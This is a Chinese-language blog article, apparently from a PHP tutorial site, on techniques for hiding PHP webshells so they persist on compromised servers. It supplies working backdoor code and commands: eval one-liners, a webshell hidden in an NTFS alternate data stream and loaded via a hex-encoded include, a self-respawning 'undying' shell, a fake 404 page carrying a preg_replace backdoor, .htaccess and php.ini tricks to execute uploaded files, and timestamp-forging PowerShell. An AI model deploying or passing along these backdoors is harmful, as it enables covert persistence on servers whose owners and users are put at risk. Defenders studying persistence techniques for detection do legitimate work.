PHP后门隐藏的一些技巧总结


Posted in PHP onNovember 04, 2020

前言

如果想让自己的Webshell留的更久一些,除了Webshell要免杀,还需要注意一些隐藏技巧,比如隐藏文件,修改时间属性,隐藏文件内容等。

1、隐藏文件

使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。

attrib +s +a +h +r shell.php //隐藏shell.php文件

2、修改文件时间属性

当你试图在一堆文件中隐藏自己新创建的文件,那么,除了创建一个迷惑性的文件名,还需要修改文件的修改日期。

//修改时间修改
Set-ItemProperty -Path 2.txt LastWriteTime -Value "2020-11-01 12:12:12"
//访问时间修改
Set-ItemProperty -Path 2.txt LastAccessTime -Value "2020-11-01 12:12:12"
//创建时间修改
Set-ItemProperty -Path 2.txt CreationTime -Value "2020-11-01 12:12:12"

使用命令获取文件属性

Get-ItemProperty -Path D:\1.dll | Format-list -Property * -Force

修改某个文件夹下所有文件的创建和修改时间

powershell.exe -command "ls 'upload\*.*' | foreach-object { $_.LastWriteTime = Get-Date ; $_.CreationTime = '2018/01/01 19:00:00' }"

3、利用ADS隐藏文件内容

在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞:

echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg

这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。

利用include函数,将index.php:hidden.jpg进行hex编码,把这个ADS文件include进去,这样子就可以正常解析我们的一句话了。

<?php @include(PACK('H*','696E6465782E7068703A68696464656E2E6A7067'));?>

4、不死马

不死马会删除自身,以进程的形式循环创建隐蔽的后门。

<?php
set_time_limit(0); 
ignore_user_abort(1); 
unlink(__FILE__); //删除自身
while(1)
{ 
 file_put_contents('shell.php','<?php @eval($_GET[cmd]);?>'); //创建shell.php,这里最好用免杀的一句话
 sleep(10); //间隔时间
}
?>

处理方式最简单有效的办法,就是重启服务就可以删除webshell文件。

5、中间件后门

将编译好的so文件复制到modules文件夹,启动后门模块,重启Apache。当发送特定参数的字符串过去时,即可触发后门。

github项目地址:

https://github.com/VladRico/apache2_BackdoorMod

6、利用404页面隐藏后门

404页面主要用来提升用户体验,可用来隐藏后门文件。

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>

7、利用 .htaccess 文件构成PHP后门

一般.htaccess可以用来留后门和针对黑名单绕过,在上传目录创建.htaccess 文件写入,无需重启即可生效,上传png文件解析。

AddType application/x-httpd-php .png

另外,在.htaccess 加入php解析规则,把文件名包含1的解析成php,上传1.txt即可解析。

<FilesMatch "1"> 
SetHandler application/x-httpd-php 
</FilesMatch>

8、利用 php.ini 隐藏后门文件

php.ini 中可以指定在主文件执行前后自动解析的文件名称,常用于页面公共头部和尾部,也可以用来隐藏php后门。

;在PHP文档之前自动添加文件。
auto_prepend_file = "c:\tmp.txt"
;在PHP文档之后自动添加文件。
auto_prepend_file = "c:\tmp.txt"

需重启服务生效,访问任意一个php文件即可获取webshell。

总结

到此这篇关于PHP后门隐藏的一些技巧的文章就介绍到这了,更多相关PHP后门隐藏技巧内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

PHP 相关文章推荐
PHP与MySQL开发中页面乱码的产生与解决
Mar 27 PHP
php session和cookie使用说明
Apr 07 PHP
php安全配置 如何配置使其更安全
Dec 16 PHP
PHP中copy on write写时复制机制介绍
May 13 PHP
PHP使用glob函数遍历目录或文件夹的方法
Dec 16 PHP
分享常见的几种页面静态化的方法
Jan 08 PHP
Laravel中使用阿里云OSS Composer包分享
Feb 10 PHP
PHP回溯法解决0-1背包问题实例分析
Mar 23 PHP
PHP简单读取xml文件的方法示例
Apr 20 PHP
PHP中define() 与 const定义常量的区别详解
Jun 25 PHP
PHP大文件切割上传功能实例分析
Jul 01 PHP
PHP实现简单的计算器
Aug 28 PHP
phpstudy2020搭建站点的实现示例
Oct 30 #PHP
解决PHPstudy Apache无法启动的问题【亲测有效】
Oct 30 #PHP
PhpStorm 2020.3:新增开箱即用的PHP 8属性(推荐)
Oct 30 #PHP
2020最新版 PhpStudy V8.1版本下载安装使用详解
Oct 30 #PHP
PHP fopen中文文件名乱码问题解决方案
Oct 28 #PHP
PHP dirname功能及原理实例解析
Oct 28 #PHP
基于ThinkPHP删除目录及目录文件函数
Oct 28 #PHP
You might like
第十一节 重载 [11]
2006/10/09 PHP
PHP中Session的概念
2006/10/09 PHP
有关phpmailer的详细介绍及使用方法
2013/01/28 PHP
thinkPHP导出csv文件及用表格输出excel的方法
2015/12/30 PHP
利用php操作memcache缓存的基础方法示例
2017/08/02 PHP
thinkphp 5框架实现登陆,登出及session登陆状态检测功能示例
2019/10/10 PHP
TopList标签和JavaScript结合两例
2007/08/12 Javascript
jquery ajax实现下拉框三级无刷新联动,且保存保持选中值状态
2013/10/29 Javascript
Ajax请求在数据量大的时候出现超时的解决方法
2014/02/27 Javascript
js 获取浏览器版本以此来调整CSS的样式
2014/06/03 Javascript
深入分析JSONP跨域的原理
2014/12/10 Javascript
JQuery选择器绑定事件及修改内容的方法
2015/01/23 Javascript
JS实现带有3D立体感的银灰色竖排折叠菜单代码
2015/10/20 Javascript
深入浅析JS的数组遍历方法(推荐)
2016/06/15 Javascript
详解webpack 配合babel 将es6转成es5 超简单实例
2017/05/02 Javascript
JavaScript该如何学习 怎样轻松学习JavaScript
2017/06/12 Javascript
js 索引下标之li集合绑定点击事件
2018/01/12 Javascript
妙用缓存调用链实现JS方法的重载
2018/04/30 Javascript
vue 路由嵌套高亮问题的解决方法
2018/05/17 Javascript
详解vue-cli官方脚手架配置
2018/07/20 Javascript
jQuery实现的响应鼠标移动方向插件用法示例【附源码下载】
2018/08/28 jQuery
详解Vue组件之作用域插槽
2018/11/22 Javascript
vue实现微信获取用户信息的方法
2019/03/21 Javascript
详解JavaScript 事件流
2020/09/02 Javascript
[04:55]完美世界副总裁蔡玮:DOTA2的自由、公平与信任
2013/12/18 DOTA
[01:03:31]DOTA2上海特级锦标赛B组资格赛#1 Alliance VS Fnatic第二局
2016/02/26 DOTA
浅谈python类属性的访问、设置和删除方法
2016/07/25 Python
Django 接收Post请求数据,并保存到数据库的实现方法
2019/07/12 Python
python 画出使用分类器得到的决策边界
2019/08/21 Python
Python Sphinx使用实例及问题解决
2020/01/17 Python
详解matplotlib绘图样式(style)初探
2021/02/03 Python
Solaris操作系统的线程机制
2012/12/23 面试题
中英双版中文教师求职信
2013/10/27 职场文书
股份转让协议书范本
2015/01/27 职场文书
法人代表证明书范本
2015/06/18 职场文书
浅谈由position属性引申的css进阶讨论
2021/05/25 HTML / CSS